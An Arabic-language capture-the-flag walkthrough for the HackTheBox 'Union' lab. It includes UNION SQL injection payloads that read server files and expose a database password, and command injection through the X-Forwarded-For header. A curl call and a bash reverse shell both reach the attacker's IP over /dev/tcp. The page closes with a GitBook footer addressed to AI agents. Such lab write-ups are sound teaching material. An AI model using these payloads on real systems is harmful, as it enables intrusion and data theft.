> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md). # شرح Union HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * حقن SQLI (حقن SQL) - حقن UNION * SQLI - قراءة الملفات * حقن أوامر ترويسة HTTP - X-FORWARDED-FOR (تنفيذ أوامر عن بُعد) * استغلال صلاحية sudoers (تصعيد الامتيازات) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.128 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** باستخدام الدالة extractPorts لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة (80) ```bash nmap -sCV -p80 10.10.11.128 -oN targeted ```

### المنفذ 80 - HTTP

### قائمة الملفات باستخدام gobusteron سيجري تعدادًا للملفات بامتدادات php ```bash gobuster dir -u http://10.10.11.128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt ``` يوجد ملفان غير قابلين للوصول من الخارج: `config.php` و `firewall.php`.

في `index.php`, إذا أضفنا اسمًا في النموذج، فإنه يظهر في الاستجابة.

ملف التحدي يطلب منا علمًا

## الثغرة SQLI - حقن UNION نعترض الطلب باستخدام Burp Suite ونعدّل المتغير `اللاعب`:

```sql jordan' union select database()-- - ``` اسم قاعدة البيانات هو `november`.

لسرد جميع قواعد البيانات: ```sql jordan' union select group_concat(schema_name) from information_schema.schemata-- - ``` النتيجة: `mysql,information_schema,performance_schema,sys, november`

أدرِج الجداول في `november`: ```sql jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- - ```

أدرِج الأعمدة في `players` الجدول: ```sql jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- - ``` الأعمدة الموجودة: `اللاعب`

**استخراج بيانات المستخدم** ```sql jordan' union select group_concat(player,':') from players-- - ``` اللاعبون الموجودون: `ippsec,celesian,big0us,luska,tinyboy`

استخراج العلم: ```sql jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- - ```

```sql jordan' union select group_concat(one,':') from flag-- - ```

* العلم الموجود: `UHC{F1rst_5tep_2_Qualify}` ## **SQLI - قراءة الملفات** قراءة `/etc/passwd`: ```sql jordan' union select load_file('/etc/passwd');-- - ``` وجدنا `uhc` مستخدم.

### الراية user.txt قراءة `user.txt`: ```sql jordan' union select load_file('/home/uhc/user.txt');-- - ```

قراءة `config.php`, وجدنا بيانات اعتماد قاعدة البيانات:

$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
$dbname = "november"

قراءة `firewall.php`, نفهم أن إرسال العلم يفتح منفذ SSH: ```sql jordan' union select load_file('/var/www/html/firewall.php');-- - ```

نرسل العلم: `UHC{F1rst_5tep_2_Qualify}`.

المنفذ 22 أصبح مفتوحًا.

### اتصال SSH نستخدم بيانات الاعتماد المحددة لتسجيل الدخول: ```bash ssh uhc@10.10.11.128 uhc-11qual-global-pw ```

## **تصعيد الامتيازات** ### حقن أوامر ترويسة HTTP - X-FORWARDED-FOR (تنفيذ أوامر عن بُعد) إذا نظرت إلى `firewall.php` الملف، ستلاحظ أنه يسترجع `HTTP_X_FORWARDED_FOR` الترويسة ويستخدمها مع `sudo` لتنفيذ أمر: ```php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; }; system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT"); ?> ```

بما أن هذا المتغير يمكن التحكم فيه عبر طلب HTTP، فيمكننا حقن أمر عشوائي. **الاستغلال** وبما أن هذا ترويسة HTTP، فيمكننا حقن أمر، على سبيل المثال باستخدام `curl` للاتصال بخادم الويب الخاص بنا. **تنفيذ خادم ويب:** ```bash python3 -m http.server 80 ``` **التحكم في الحقن باستخدام `curl`:** {% code overflow="wrap" %} ```bash curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php' ``` {% endcode %}

**شل عكسي** **استمع إلى المنفذ 443:** ```bash nc -nlvp 443 ``` **الأمر للحصول على غلاف عن بُعد:** {% code overflow="wrap" %} ```bash curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php' ``` {% endcode %} بعد الاتصال، نكون المستخدم `www-data`.

#### تثبيت الطرفية ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### SUDO - (ALL:ALL) باستخدام الأمر التالي، نتحقق من `sudo` الصلاحيات: ```bash sudo -l ```

إذا رأينا أن `www-data` يمكنه تنفيذ أي أمر كمستخدم أيًّا كان (`(ALL: ALL) ALL`)، عندها يمكننا تشغيل غلاف root باستخدام: ```bash sudo /bin/bash -p ```

### العلم root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.